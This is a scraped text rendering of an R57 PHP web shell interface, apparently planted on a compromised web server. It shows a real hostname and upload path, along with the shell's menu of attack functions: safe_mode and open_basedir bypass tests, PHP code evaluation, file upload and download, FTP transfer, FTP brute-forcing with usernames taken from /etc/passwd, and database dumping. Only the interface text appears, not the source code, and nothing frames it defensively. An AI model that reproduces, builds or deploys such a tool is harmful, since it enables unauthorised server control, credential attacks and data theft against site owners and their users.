R57 Shell

! R57 Shell

  05-09-2010 22:57:16  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]
  safe_mode: ON  PHP version: 5.2.9  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,ini_alter,proc_open,dl,popen,show_source,posix_getpwuid,posix_geteuid,posix_getegid,posix_getgrgid,open_basedir,safe_mode_include_dir,pcntl_exec,pcntl_fork,putenv,proc_get_status,proc_nice,proc_terminate,pclose,set_time_limit,virtual,openlog,allow_url_fopen,symlink,mail
  Free space : 73.56 GB Total space: 222.92 GB

uname -a :
sysctl :
$OSTYPE :
Server :
id :
pwd :

   Linux ns8937.dotvndns.vn 2.6.18-92.el5 #1 SMP Tue Jun 10 18:51:06 EDT 2008 x86_64
   -

   Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2
   user=nobody uid=99 gid=99
   /home/newworld/public_html/images/upload/adver   ( u--------- )

Executed command: safe_dir

ACCESS DENIED

:: Work in safe_mode ::

Work directory 4

:: Edit files ::

File for edit 4

:: Create/Delete File/Dir ::

name 4

:: Chown/Chgrp/Chmod ::

Command 4

param1 4 param2 4

:: Find text in files ::

Find text 4
In dirs 4	* ( /root;/home;/tmp )
Only in files 4	* ( .txt;.php;.htm )

:: Eval PHP code ::

:: Test bypass open_basedir with cURL functions ::

Cat file 4

:: Test bypass safe_mode with include function ::

Cat file 4

:: Test bypass safe_mode with load file in mysql ::

Database . Table 4	Login 4 Password 4 Port 4
Cat file 4

:: Test bypass safe_mode with function mb_send_mail ::

Cat file 4

:: Test bypass safe_mode, view dir list via imap_list ::

Work directory 4

:: Test bypass safe_mode, view file contest via imap_body ::

Cat file 4

:: Test bypass safe_mode, copy file via compress.zlib:// in function copy() ::

Copy from 4
to 4

:: Upload files on server ::

Local file 4
New name 4

:: Download files from server ::

file 4
Archivation 4	without archivation zip gzip

:: FTP ::

Download files from remote ftp-server

FTP-server:port 4
Login 4
Password 4
File on ftp 4
Local file 4
Transfer mode 4

Send file to remote ftp server

FTP-server:port 4
Login 4
Password 4
Local file 4
File on ftp 4
Transfer mode 4

:: FTP-bruteforce ::

FTP-server:port 4
	* use username from /etc/passwd for ftp login and password ( Users list )
	Use reverse (user -> resu) login for password

:: Databases ::

Dump database table

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Database . Table 4	.
Save dump in file 4

Run SQL query

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Database 4
SQL query 4

o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.31 ]---o